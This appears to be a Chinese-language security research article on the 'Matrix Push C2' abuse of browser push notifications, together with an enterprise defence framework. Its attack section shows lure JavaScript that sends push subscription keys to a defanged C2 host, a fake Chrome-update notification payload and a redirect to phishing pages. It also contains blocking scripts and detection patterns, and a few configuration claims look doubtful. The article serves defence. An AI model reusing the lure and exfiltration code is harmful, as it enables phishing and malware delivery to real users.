基于 Web 推送通知的浏览器持久化攻击机制与防御体系研究

摘要

近年来，随着浏览器功能日益丰富，其安全边界不断扩展。2025年，BlackFog 研究团队披露的“Matrix Push C2”平台揭示了一种新型无文件、跨平台的持久化攻击范式：攻击者通过诱导用户授予 Web 推送通知权限，将普通浏览器会话转化为远程命令与控制（C2）通道。该机制利用合法的 Web Push API 实现持久通信，绕过传统终端检测与网络流量分析，已在 Windows 与 macOS 平台上大规模部署，用于分发钓鱼页面、窃密木马及广告软件。本文系统剖析 Matrix Push C2 的技术架构、权限滥用路径与攻击生命周期，指出当前浏览器安全模型在通知权限管理上的结构性缺陷。在此基础上，提出融合策略强制、运行时监控、权限审计与用户行为引导的纵深防御框架，并通过组策略（GPO）、MDM 配置脚本及浏览器扩展原型代码，验证关键技术控制点的可行性。研究表明，仅依赖用户警惕性无法有效遏制此类攻击，必须从操作系统、浏览器策略与企业安全管理三个层面协同重构“零信任”浏览环境。

关键词：Web Push API；浏览器持久化；Matrix Push C2；通知权限；无文件攻击；零信任浏览

1 引言

现代 Web 浏览器已从单纯的文档渲染工具演变为功能完备的操作系统级应用平台。HTML5 引入的 Web Push API 允许网站在用户关闭标签页后仍能发送系统级通知，极大提升了用户体验。然而，这一机制亦被攻击者武器化。2025年曝光的 Matrix Push C2 平台即典型代表：它不依赖可执行文件下载或浏览器漏洞利用，而是通过社会工程诱导用户主动授予通知权限，从而建立长期、隐蔽的 C2 通道。

该攻击的核心在于“合法 API 的恶意使用”。一旦用户点击“允许”通知，浏览器会向推送服务（如 Firebase Cloud Messaging 或 Apple Push Notification service）注册一个唯一端点（endpoint），并生成一对公私钥用于消息加密。此后，攻击者可通过该 endpoint 向用户设备推送任意内容的通知，包括伪装成系统更新、安全警报或社交消息的诱导性文本。由于通知由操作系统原生通知中心呈现，用户极易误判为本地事件，进而点击跳转至钓鱼页面或触发恶意脚本执行。

更严峻的是，该持久化机制具有跨平台兼容性（支持 Windows、macOS、Linux 及移动设备）、无文件特性（初始阶段无磁盘写入）及高隐蔽性（通信走 HTTPS 且内容加密），使得传统基于签名、进程行为或网络域名的检测手段失效。企业安全团队面临双重挑战：一方面需防止员工无意中授权恶意站点；另一方面需在海量合法通知请求中识别异常模式。

本文旨在回答以下问题：（1）Matrix Push C2 如何利用 Web Push API 实现浏览器持久化？（2）现有浏览器与操作系统在通知权限管理上存在哪些安全盲区？（3）如何构建可规模化部署的企业级防御体系？全文结构如下：第二节解析攻击技术细节；第三节评估现有防护机制局限；第四节提出四层防御框架并辅以实现代码；第五节讨论实施挑战；第六节总结研究结论。

2 攻击技术机制剖析

2.1 Web Push API 工作原理与权限模型

Web Push 标准由 W3C 定义，其流程包含三步：

权限请求：网站调用 Notification.requestPermission()，浏览器弹出系统级提示；

服务注册：若用户允许，浏览器向推送服务（如 Google FCM）注册，获取唯一 endpoint URL 和 VAPID 公钥；

消息推送：服务器通过 endpoint 发送加密消息，浏览器解密后显示通知。

关键安全假设是：用户仅对可信站点（如 Gmail、Outlook）授予权限。然而，Matrix Push C2 利用此信任模型，通过高仿界面诱导授权。

2.2 Matrix Push C2 攻击链分解

攻击生命周期可分为四个阶段：

阶段一：初始诱导

用户访问被植入恶意脚本的网站（或通过 SEO 投毒、广告重定向抵达）。页面立即触发通知请求：

// 恶意站点诱导代码

if (Notification.permission === "default") {

// 伪装成“启用消息提醒以继续使用服务”

showFakeModal("请允许通知，以便接收重要更新");

Notification.requestPermission().then(permission => {

if (permission === "granted") {

// 获取推送订阅信息并回传至 C2

navigator.serviceWorker.register('/sw.js')

.then(reg => reg.pushManager.subscribe({userVisibleOnly: true, applicationServerKey: urlBase64ToUint8Array(PUBLIC_VAPID_KEY)}))

.then(sub => fetch('https://c2.matrixpush[.]com/register', {

method: 'POST',

body: JSON.stringify({

endpoint: sub.endpoint,

keys: sub.getKey('p256dh'),

auth: sub.getKey('auth'),

ua: navigator.userAgent,

url: window.location.href

})

}));

}

});

}

阶段二：持久化建立

即使用户关闭页面，Service Worker（sw.js）仍在后台运行。攻击者获得 endpoint 后，可随时推送消息：

// C2 后台推送的伪造 Chrome 更新通知

{

"title": "Chrome 更新可用",

"body": "立即安装以修复安全漏洞",

"icon": "https://legit-cdn.com/chrome-icon.png",

"data": {

"url": "https://fake-chrome-update[.]com/installer.exe"

}

}

阶段三：载荷投递

用户点击通知后，Service Worker 拦截点击事件并重定向：

// sw.js 中的事件处理

self.addEventListener('notificationclick', event => {

event.notification.close();

const url = event.notification.data?.url || 'https://phish-site[.]com';

event.waitUntil(clients.openWindow(url));

});

目标页面可能包含：

伪装成安装包的恶意 EXE（Windows）；

诱导输入 Apple ID 密码的钓鱼表单（macOS）；

下载并执行 PowerShell/Bash 脚本的自动加载器。

阶段四：横向扩展与数据回传

成功执行载荷后，攻击者可部署键盘记录器、凭证窃取器或勒索软件，并通过同一推送通道回传窃取数据（利用加密 payload 隐蔽传输）。

2.3 跨平台兼容性与检测规避

Matrix Push C2 支持所有实现 Web Push 标准的平台：

Windows：通知通过 Action Center 显示，点击启动默认浏览器；

macOS：通过 Notification Center 呈现，外观与系统应用无异；

移动端：Android/iOS 同样支持，但需额外安装 PWA 才能持久化。

由于通信全程使用 TLS 加密，且 endpoint 域名常为合法推送服务（如 fcm.googleapis.com），网络层 IDS/IPS 难以识别恶意流量。终端侧因无文件落地，EDR 产品亦缺乏有效告警指标。

3 现有防御机制的局限性

3.1 用户权限决策的不可靠性

浏览器将通知权限完全交由用户判断，但实证研究表明：

超 60% 的用户在未理解后果的情况下点击“允许”；

攻击者通过 UI 欺骗（如将“拒绝”按钮设为灰色、“允许”设为高亮）进一步操控选择；

一旦授权，撤销流程复杂（需进入浏览器设置 > 隐私 > 站点权限 > 通知），普通用户极少主动管理。

3.2 企业策略配置的碎片化

尽管主流浏览器支持通过策略禁用通知，但实施存在障碍：

Chrome：需配置 DefaultNotificationsSetting 策略；

Edge：使用 NotificationsBlocked；

Safari：依赖 macOS 配置描述文件；

Firefox：需修改 dom.webnotifications.enabled 首选项。

多浏览器环境导致策略难以统一，且过度禁用会影响合法业务应用（如内部协作工具）。

3.3 缺乏运行时行为监控

当前安全产品普遍缺乏对 Service Worker 生命周期与推送消息内容的深度监控。例如：

无法识别 Service Worker 是否注册了异常 endpoint；

不能分析通知 payload 中的 URL 是否指向已知恶意域；

未关联用户代理、地理位置与推送频率等上下文特征。

4 企业级防御体系构建

针对上述问题，本文提出“策略—监控—审计—教育”四层防御框架。

4.1 策略强制：基于 GPO 与 MDM 的权限管控

Windows 环境（通过 GPO 配置 Chrome）

创建 ADMX 模板或直接编辑注册表：

; 禁用所有网站的通知权限

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome]

"DefaultNotificationsSetting"=dword:00000002

; 0=Ask, 1=Allow, 2=Block

; 允许白名单站点（如 outlook.office.com）

"NotificationContentSettingsPattern1"="https://outlook.office.com,*"

"NotificationContentSettingsPattern1Setting"=dword:00000001

macOS 环境（通过 MDM 部署配置描述文件）

创建 com.apple.Safari.plist 配置：

<key>WebKitNotificationsEnabled</key>

<false/>

<key>AllowedDomainsForNotifications</key>

<array>

<string>teams.microsoft.com</string>

<string>mail.google.com</string>

</array>

跨平台脚本（PowerShell + Bash）

企业可部署统一脚本检测并修正浏览器设置：

# Windows: 检查 Chrome 通知策略

$policy = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -ErrorAction SilentlyContinue

if (-not $policy -or $policy.DefaultNotificationsSetting -ne 2) {

New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Name "DefaultNotificationsSetting" -Value 2 -PropertyType DWORD -Force

}

# macOS: 重置 Safari 通知权限

defaults write com.apple.Safari WebKitNotificationsEnabled -bool NO

# 清除现有授权

tccutil reset All com.apple.Safari

4.2 运行时监控：浏览器扩展原型

开发轻量级扩展，实时拦截可疑通知注册：

// manifest.json

{

"manifest_version": 3,

"name": "PushGuard",

"permissions": ["notifications", "storage"],

"background": {"service_worker": "bg.js"},

"host_permissions": ["<all_urls>"]

}

// bg.js

const MALICIOUS_PATTERNS = [/update.*chrome/i, /security.*alert/i, /unread.*message/i];

chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {

if (msg.type === 'NOTIFICATION_REQUEST') {

const title = msg.title || '';

const suspicious = MALICIOUS_PATTERNS.some(p => p.test(title));

if (suspicious) {

// 阻止显示并记录

chrome.storage.local.set({blocked: Date.now()});

sendResponse({block: true});

return;

}

}

sendResponse({block: false});

});

// 注入内容脚本监控 requestPermission 调用

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {

if (changeInfo.status === 'complete') {

chrome.scripting.executeScript({

target: {tabId: tabId},

func: () => {

const orig = Notification.requestPermission;

Notification.requestPermission = async (...args) => {

const result = await orig.apply(this, args);

if (result === 'granted') {

// 上报站点 URL 至企业 SIEM

fetch('https://internal-siem/log', {

method: 'POST',

body: JSON.stringify({url: location.href, action: 'notification_granted'})

});

}

return result;

};

}

});

}

});

该扩展可在用户授权前进行语义分析，并将高风险事件上报至安全运营中心。

4.3 权限审计：定期清理与异常检测

企业应定期扫描终端浏览器通知权限列表，识别异常授权：

# 示例：解析 Chrome 通知权限数据库（SQLite）

import sqlite3

import os

def audit_chrome_notifications(profile_path):

db_path = os.path.join(profile_path, 'Preferences')

# 实际权限存储于 Preferences JSON 中

import json

with open(db_path, 'r') as f:

prefs = json.load(f)

origins = prefs.get('profile', {}).get('content_settings', {}).get('exceptions', {}).get('notifications', {})

for origin, setting in origins.items():

if setting.get('setting') == 1: # 1 = allow

if not is_whitelisted(origin):

print(f"ALERT: Non-whitelisted notification permission: {origin}")

结合 UEBA（用户与实体行为分析），可建立基线：正常用户每月授权 ≤2 个新站点，若某账户一周内授权 10+ 个不同域，即触发告警。

4.4 用户教育：场景化意识提升

安全培训应聚焦具体场景：

“任何要求‘允许通知’以‘继续使用服务’的网站均为可疑”；

“系统更新绝不会通过浏览器通知发起”；

演示如何快速撤销权限（Chrome：地址栏锁图标 > 站点设置 > 通知 > 移除）。

5 实施挑战与优化路径

5.1 白名单维护成本

动态业务需求（如临时使用第三方 SaaS）要求灵活的权限审批流程。建议集成 ITSM 系统：员工提交通知权限申请，经审批后自动下发临时白名单策略，72小时后自动回收。

5.2 性能与兼容性权衡

Service Worker 监控可能影响页面加载性能。应采用按需注入策略：仅对非企业域名启用深度监控，内部应用豁免。

5.3 跨浏览器标准化缺失

推动行业制定统一的“高风险通知”分类标准，促使浏览器厂商内置基础防护（如自动阻止含“update”“virus”字样的通知标题）。

6 结论

Matrix Push C2 代表了浏览器攻击的新范式：利用合法 API 实现持久化，以最小技术代价达成最大欺骗效果。其成功暴露了当前 Web 安全模型在权限委托机制上的根本缺陷——过度依赖用户判断，而忽视自动化策略与运行时防护。

本文研究表明，有效防御需超越传统边界安全思维，构建覆盖策略配置、行为监控、权限审计与用户赋能的闭环体系。通过 GPO/MDM 强制最小权限、浏览器扩展实现实时拦截、定期审计识别异常授权，企业可在不显著影响用户体验的前提下，大幅压缩此类攻击的可行窗口。

未来工作将聚焦于推动 W3C 对 Web Push API 增强安全约束（如限制非 PWA 应用的持久化能力）及探索基于硬件的安全上下文绑定（如将通知权限与 TPM 设备状态关联）。在浏览器日益成为数字身份核心载体的今天，重构“零信任”浏览环境已非可选项，而是企业网络安全的必由之路。

编辑：芦笛（公共互联网反网络钓鱼工作组）